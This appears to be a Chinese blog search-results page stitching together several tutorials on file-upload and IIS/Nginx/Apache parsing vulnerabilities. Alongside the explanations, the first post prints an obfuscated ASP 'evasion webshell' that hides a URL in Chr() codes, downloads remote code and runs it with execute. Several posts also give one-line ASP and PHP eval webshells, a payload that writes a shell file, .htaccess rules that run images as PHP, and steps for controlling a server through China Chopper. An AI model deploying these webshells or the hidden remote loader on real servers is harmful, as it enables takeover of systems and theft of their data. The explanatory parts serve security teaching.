精华内容
参与话题
问答
  • 上传漏洞 之 iis解析漏洞、asp解析漏洞、文件解析漏洞、畸形解析漏洞、Apache解析漏洞 一、iis解析漏洞 中间件:IIS NGINX APACHE WEBLOGIC JBOSS .NET PHP,JSP PHP,JSP JSP ASP,ASPX IIS解析漏洞 目录解析: ...

    上传漏洞 之 iis解析漏洞、asp解析漏洞、文件解析漏洞、畸形解析漏洞、Apache解析漏洞

    一、iis解析漏洞

    中间件:IIS NGINX APACHE WEBLOGIC JBOSS
    .NET PHP,JSP PHP,JSP JSP
    ASP,ASPX
    IIS解析漏洞
    目录解析: www/ 5.x-6.0 /123.asp/ddd.txt/ss.jgp jgp
    文件解析: .jpg txt格式 jsp xx.asp;.jpg xx.php;.jpg
    默认解析: .asp .aspx .asa || .asa .cer .cdx
    畸形解析; 变形

    二、asp解析漏洞

    http://192.168.1.105:800/fileupload_type.php
    在这里插入图片描述
    在这里插入图片描述
    asp免杀大马

     <%@ LANGUAGE = VBScript.encode%><%
        Server.ScriptTimeout=999999999
        UserPass="123456"  '密码
        mNametitle ="免杀ASP大马"  ' 标题
        Copyright="By:HxG"  '版权
        SItEuRl=http://www.96sec.org/" '你的网站
        bg ="http://www.asphxg.cn/css/gl.jpg" 
        ysjb=true  '是否有拖动效果,true为是,false为否
         
        function BytesToBstr(body,Cset) 
        dim objstream 
        set objstream = Server.CreateObject("adodb.stream")
        objstream.Type = 1 
        objstream.Mode =3 
        objstream.Open 
        objstream.Write body 
        objstream.Position = 0 
        objstream.Type = 2 
        objstream.Charset = Cset 
        BytesToBstr = objstream.ReadText 
        objstream.Close 
        set objstream = nothing 
        End function
         
        function PostHTTPPage(url) 
        dim Http 
        set Http=server.createobject("MSXML2.SERVERXMLHTTP.3.0")
        Http.open "GET",url,false 
        Http.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" 
        Http.send 
        if Http.readystate<>4 then 
        exit function 
        End if
        PostHTTPPage=bytesToBSTR(Http.responseBody,"gbk") 
        set http=nothing 
        if err.number<>0 then err.Clear 
        End function
         
        dim  aspCode
        aspCode=CStr(Session("aspCode"))
        if aspCode="" or aspCode=null or isnull(aspCode) then 
        aspCode=PostHTTPPage(Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 46 ) & Chr ( 97 ) & Chr ( 115 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 120 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 110 ) & Chr ( 47 ) & Chr ( 99 ) & Chr ( 115 ) & Chr ( 115 ) & Chr ( 47 ) & Chr ( 118 ) & Chr ( 46 ) & Chr ( 106 ) & Chr ( 112 ) & Chr ( 103 ))
        Session("aspCode") =aspCode
        End if
        execute aspCode
         
        %>
    

    在这里插入图片描述
    修改为.jpg
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    上传一句话木马:
    <%eval request(“666”)%>
    http://192.168.1.105/test.asp/xiaoma.jpg
    放进菜刀中
    在这里插入图片描述
    在这里插入图片描述
    三、文件解析漏洞实战:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    上传.asa文件
    在这里插入图片描述
    Burp抓包修改类型进行绕过:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    cdx
    在这里插入图片描述
    在这里插入图片描述
    四、畸形解析漏洞:

    畸形解析 变形iis 7.0-7.5
    条件:fast-cgi开启phpinfo
    相关步骤如下:
    a. jpg

    <?fputs(fopen(“shell.PHP”,”w”),”<?eval(\$_POST[akt]);?>”)?>(一句话)

    访问a.jpg http://127.0.0.1/home/a.jpg
    Shell.php http://127.0.0.1/home/shell.jpg

    五、Apache解析漏洞

    从左至右开始判断解析,如果为不可识别解析,就继续往左判断
    a. rar.php.jpg
    后缀名、文件类型 不能上传php文件 a.php.rasfasdsa
    .php phtml\pht\php3\php4\php5
    Php一句话:<?php @eval($_POST[pp]);?>
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    后续操作请持续关注哦!!!
    了解更多请关注下列公众号:

    😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
    在这里插入图片描述
    😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

    展开全文
  • 1.文件上传漏洞原理 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,...3.文件解析漏洞 3.31文件解析.

    1.文件上传漏洞原理

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。

    文件上传漏洞利用条件:

    (1)能够成功上传木马

    (2)上传的木马能够被web容器解析执行,所以上传路径要在web容器覆盖范围内。

    (3)用户能够访问上传的木马,所以得知道上传的木马准确路径。

     

    2.常见的检测方式及绕过技巧

    3.文件解析漏洞

    3.31文件解析漏洞与中间件

    文件解析漏洞是指中间件在解析文件的时候,某些特性可以被用作文件上传漏洞,从而实现非法文件解析。常见中间件有Apache、IIS、Nginx等。

    3.2 IIS解析漏洞

    3.2.1 IIS6.0

    (1)目录解析

    在网站目录/xx.asp/ 下面,任意拓展名的文件都会被解析为asp文件。

    (2)文件解析

    IIS6.0 都会把/xx.asp;.jpg、 /xx.asp:.jpg这类文件解析为 asp 文件,因为/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp。

    (3)其他默认可解析文件格式

    /xx.asa、/xx.cer、/xx.cdx

    3.2.2 IIS7.0/IIS7.5

    在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

    常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,copy xx.jpg/b + yy.txt/a xy.jpg

    (/b 即二进制[binary]模式,/a 即ascii模式 xx.jpg正常图片文件)

    3.3Nginx解析漏洞

    1)在Fast-CGI关闭的情况下,Nginx <=0.8.37 存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

    (2)在Fast-CGI运行模式下, Nginx <=0.8.37,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

    3.4Apache解析漏洞

    (1)Apache认为一个文件可以有多个后缀名,例如:peak.txt.jpg.xx

    (2)Apache的解析规则是从右往左依次判断后缀名,当Apache不认这个后缀名时,就继续往前判断后缀名,如果遇到认识的后缀名,就将这整个文件当做认识的这个后缀名来解析。如请求xx.php.ras,Apache无法解析.ras,然后向左解析到.php。

     

    4.文件上传漏洞测试思路

     

     

    展开全文
  • ctf-web:文件上传漏洞文件解析漏洞

    千次阅读 2020-10-11 21:13:56
    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一...文件上传漏洞 这个漏洞产生的原因是因为上传文件的不严谨所产生的.比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将.

    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍.
    其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,还有这几个漏洞的利用就是web渗透…这不就是我好几年前看的东西么…
    当然,其实我也学的不是很精通,只是稍微会一点,就不夸夸其谈了.
    先说说这两个漏洞的区别.
    一.文件上传漏洞
    这个漏洞产生的原因是因为上传文件的不严谨所产生的.
    比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将上传的文件存放在服务器,这样是十分危险的.并且一般和后面的文件解析漏洞配合在一起使用.
    二.文件解析漏洞
    这个漏洞是由于服务器的原因造成的,就比如我们一会儿要举例的iis6.0服务器就有这个漏洞.
    简单来说,在iis6.0服务器上,如果服务器有一个"xxx.asp"文件夹,那么就会将这个文件下面的所有文件都当成一个asp脚本去执行.

    想想看,如果我们上传了一个删除系统数据库的病毒文件上去,然后又被解析成了某种语法去执行,是不是后果很可怕?
    因此,我会特地去讲一下这个东西的如何去实现的.后面我会把网站的源码附上.很多服务器都存在这个漏洞,我这里就介绍iis6.0的文件解析漏洞,想看其他的服务器的漏洞可以去百度一下.
    工具的话我把名字发上来,自己去找一下.
    实验环境:虚拟机win2003一台,软件phpstudy,中国菜刀

    一.iis6.0服务器的文件解析漏洞

    前面已经说过,iis6.0的漏洞就是会把xxx.asp文件夹下的文件都当作asp文件执行,我们试试便知.
    win2003都会自带iis6,因此直接安装就好,安装教程我就不发了,百度有.
    如图,此刻已经是安装好的.记得点到web的选项,按照图中进行配置.
    在这里插入图片描述
    此刻我们已经搭建网站成功.用主机输入服务器ip即可进行访问.由于我之前搭建phpstudy占用了80端口,我就把端口改成了82.你们在做的时候应该是不需要这一步的.
    在这里插入图片描述
    配置好以后,点击网站,然后右键那个默认网站,点击停用.
    在这里插入图片描述
    之后右键网站->新建->网站,新建一个自己的网站.我的已经建好了,就不做多余的演示了
    在这里插入图片描述

    需要注意的是,在新建网站的时候,有个运行脚本的选项要选上.如图
    在这里插入图片描述

    在这个里面点击右键,添加一个文件,和文件夹,文件名字叫做"index.html",文件夹名字随便起一个以.asp结尾的即可,我的是wzc.asp.然后在文件夹里面新建一个文件,名字随便起一个,比如1.txt.
    在这里插入图片描述
    在这里插入图片描述
    然后在这两个新建的1.txt和index.html都写入以下的内容:

    <%
    response.write("My first ASP script!")
    %>
    

    为什么要这么建文件呢?其实就是为了验证这个漏洞的.上面的代码是asp的语法,在屏幕上显示一句话.
    如果文件被解析成了asp文件,那么就会只显示引号里面的内容.
    如果没有的话,就直接把所有内容都显示出来.
    因此.我们新建了这两个文件用来验证.

    验证一:访问非asp文件夹下的文件(我的端口是81)

    也就是网站的主页.我用主机进行访问时,页面显示的是这样的:
    在这里插入图片描述
    看,是不是直接把文件当成了一个txt文本显示了出来?

    验证二:访问以.asp结尾文件夹下的文件

    访问结果如图:
    在这里插入图片描述
    果然,我们的代码被当成了asp脚本执行了.由此验证,我们的iis6.0确实存在这个漏洞.

    二.文件上传漏洞和文件解析漏洞的结合使用

    文件上传漏洞产生的原因就不像上一个是因为服务器产生的了,而是因为程序员的不严谨而产生的.
    在一些允许上传文件的网站中,编写php后台脚本时,不会对文件近进行检查,所以有一些黑客会利用这个上传一个叫"一句话木马"的脚本.
    这种脚本属于木马,当上传成功以后,在攻击者的电脑使用比如"中国菜刀"之类的软件进行连接,最终为所欲为.
    当然,中国菜刀属于比较落后的软甲,比较先进的有冰蝎等软件.有兴趣可以百度.
    由此可见,这种漏洞的危害性是非常大的.下面我会演示一下这个过程.

    过程实现

    首先安装phpstudy,然后在你的服务器下添加下面两个网站.源码发在下面.
    文件一:upload-file.html

    <html>
    <head>
     <title> 文件上传之解析漏洞~php</title>
     </head>
    <body>
    
    <form action="upload.php" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="提交" />
    </form>
    
    </body>
    </html>
    

    文件二:upload.php

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
     
    ?>
    

    放在如图的位置.
    在这里插入图片描述
    远程访问以下,发现成功.
    在这里插入图片描述
    我们随便上传一个php文件.
    在这里插入图片描述
    …连点防御都没有(从那个php代码就可以看出,不过我是从攻击者的角度出发的,由此可证明这个php代码有文件上传的漏洞).
    如图,在服务器下有个upload文件,里面就是我们上传的文件.
    在这里插入图片描述
    这个php一句话木马只是用来测试的,是为了看看能不能上传成功.现在我把一句话木马源码奉上.

    <?php eval($_POST["wzc"]);?>
    

    这段代码的原理我就不解释了.目的是为了方便使中国菜刀进行连接.你需要修改的使引号里面的内容,这个是后面中国菜刀连接是的密码.
    如图,这个是我的中国菜刀的界面,按照图中的方式配置.
    在这里插入图片描述
    上面把你的一句话木马的网站上的路径填上.我当时为了方便,把名字改成了"1.php".后面的空填刚刚的密码,下面记得选择php(eval)代码类型.连接以后,右键文件管理,会产生如图的效果.
    在这里插入图片描述
    看,现在我们就进到服务器里面了,接下来想怎么搞就怎么搞了.

    好了,就写这么多吧.
    剩余的也懒的想了,如果还想继续看一些东西的话,可以关注我,我后续会发一些比如数据库注入,软件破解之类的东西.
    有兴趣的可以加我qq:1392969921

    展开全文
  • 文件解析漏洞

    千次阅读 2018-09-25 08:40:27
    文件解析漏洞 IIS解析漏洞 目录解析漏洞(/test.asp/1.jpg) 文件名解析漏洞(test.asp;.jpg) 畸形解析漏洞(test.jpg/*.php) 其他解析漏洞 Ngnix解析漏洞 畸形解析漏洞(test.jpg/*.php) %00空字节代码解析漏洞 ...

    目录

    文件解析漏洞

    IIS解析漏洞

    目录解析漏洞(/test.asp/1.jpg)

    文件名解析漏洞(test.asp;.jpg)

    畸形解析漏洞(test.jpg/*.php)

    其他解析漏洞

    Ngnix解析漏洞

    畸形解析漏洞(test.jpg/*.php)

    %00空字节代码解析漏洞

    CVE-2013-4547(%20%00)

    Apache解析漏洞

    文件名解析漏洞

    .htaccess文件


    文件解析漏洞

    文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。

    比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。

    但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。

    IIS解析漏洞

    目录解析漏洞(/test.asp/1.jpg)

    IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

    文件名解析漏洞(test.asp;.jpg)

    IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa   .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

    畸形解析漏洞(test.jpg/*.php)

    微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5

    在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>

    将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

    临时解决办法:设置 cgi.fix_pathinfo为0

    这个解析漏洞和下面讲的Nginx的解析漏洞是一样的。

    其他解析漏洞

    在windows环境下,xx.jpg[空格]  或 xx.jpg.  这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

    Ngnix解析漏洞

    畸形解析漏洞(test.jpg/*.php)

    漏洞原因:

    • php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
    • /etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行

    在nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为:  test.jpg

    在浏览器中访问 http://192.168.10.139/test.jpg  显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied.  。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示  Access denied.  。这是到底为啥?

    原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回  Access denied. 。

    这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项有什么用呢?看名字就知道是对文件路径进行处理。举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz  时,若 /aaa.xxx/bbb.yyy/ccc.zzz 不存在,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件  /aaa.xxx/bbb.yyy/ccc.zzz ,若   /aaa.xxx/bbb.yyy  仍不存在,则继续去掉  /bbb.yyy ,以此类推。

    该选项在配置文件 php.ini 中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。

    但是目前我们还没能成功执行代码,test.jpg 没有当成php文件执行,只是返回了 Access denied ,因为新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。

    这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。

    为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)

    %00空字节代码解析漏洞

    原理Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

    在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码

    •  Nginx 0.5.*
    •  Nginx 0.6.*
    •  Nginx 0.7 <= 0.7.65
    •  Nginx 0.8 <= 0.8.37

    CVE-2013-4547(%20%00)

    影响nginx版本:nginx 0.8.41 ~ 1.5.6

    这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:

    http://127.0.0.1/file.jpg \0.php  
    

    让Nginx认为文件“file.jpg ”的后缀为“.php”。

    来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。

    测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(\0),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAjpg ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图

    修改请求

    修改完毕后Forward该请求,在浏览器中看到:

    成功显示图片

    我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。

    继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:

      <?php phpinfo(); ?>
    

    用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示:

    修改请求

    修改完毕后 Forword 该请求,在浏览器中看到:Access  denied  ,好吧,又是这个。

    这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞

    Apache解析漏洞

    文件名解析漏洞

    apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar    .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png..(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。

    .htaccess文件

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

     .htaccess 文件生效前提条件为

    • mod_rewrite 模块开启
    • AllowOverride All
    #1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
    <FilesMatch   "shell">  
    SetHandler  application/x-httpd-php  
    </FilesMatchc> 
    
    
    #2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
    AddType application/x-httpd-php .jpg

     

    展开全文
  • 文件上传解析漏洞

    2019-07-04 17:00:00
    以下转自clancyb00m的github -----------------------------------------------------------------------------------------------------------------------...8.03 空字节代码执行漏洞 影响版本:0.5.,0.6., 0.7 ...
  • 文件上传漏洞解析漏洞总结

    千次阅读 2017-11-12 15:07:00
    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。...
  • 解析漏洞:将格式进行变换解析 解析条件:1.搭建平台 2.命名规则 iis apache uginx iis6.0 文件正常地址: www.xxx.com/logo.jpg 触发漏洞地址: www.xxx.com/logo.asp;.xx.jpg(脚本格式随意) 文件夹正常...
  • 欢迎点击「算法与编程之美」↑关注我们!本文首发于微信公众号:"算法与编程之美",欢迎关注,及时了解更多此系列文章。解析漏洞是指上传得一些特殊文件被IIS、apache等在...
  • 上传文件漏洞&解析漏洞

    千次阅读 2015-09-16 23:22:23
    本文致力于探索利用网站漏洞上传非法文件的方法 类型1:前端验证 某些网站采用前端验证的方式限制用户上传文件,这时我们只需去除前端验证机制即可突破限制,完成上传。 例如:前端代码限制上传文件的类型...
  • 1.文件上传漏洞文件上传漏洞需要的前提条件: 能上传木马 上传的木马能执行 还要清楚上传后的路径 一句话木马:<?php @eval($_POST[cmd]);?> eval 执行命令函数 思路: 编写一个一句话木马<?...
  • 文件解析与上传】文件解析文件上传漏洞学习总结v1.0 Hello,各位小伙伴大家好~ 这里是依旧勤劳写公众号的小编~ 今天本公众号将推出一个新的模块,那就是漏洞知识点总结模块!!! 该模块的文章会总结各种类型...
  • 文件解析漏洞总结

    万次阅读 2016-02-19 09:59:28
    一、IIS 5.x/6.0解析漏洞IIS 6.0解析利用方法有两种1.目录解析/xx.asp/xx.jpg2.文件解析cracer.asp;.jpg第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来...
  • 常见的文件上传绕过漏洞有 1、前段绕过 2、服务端绕过 3、配合解析漏洞突破上传 4、编辑器漏洞 一、前端绕过 . 客户端javascript检测(通常为检测文件拓展名)这是文件上传突破的第一步,也是最容易绕过的一个 ,只要...
  • 一、文件上传漏洞概念 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术...
  • 警惕htaccess文件上传解析漏洞

    千次阅读 2018-11-24 21:47:12
    了解htaccess文件解析的利用方法 掌握如何去修复此漏洞 实验工具 中国菜刀:是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理,本次试验主要用到其...
  • 前言目前在很多小型网站上,广泛的存在着文件上传漏洞,在对其进行渗透时,通过sql注入/弱口令爆破进入后台+webshell文件上传也许就是你拿下它最快的方式。但是仅靠文件上传往往不行,有了解析漏洞的帮助效果可能会...
  • iis 6.0除了将asp 后缀的文件解析为asp,还会将 .asa .cer .cdx 也会作为asp来解析。为什么会这样呢?这是因为在iis 6.0的应用程序扩展中默认设置了 .asa .cer .cdx都会调用 asp.dll 来解析。也就是说,我们可以...

空空如也

1 2 3 4 5 ... 20
收藏数 5,145
精华内容 2,058
关键字:

文件解析漏洞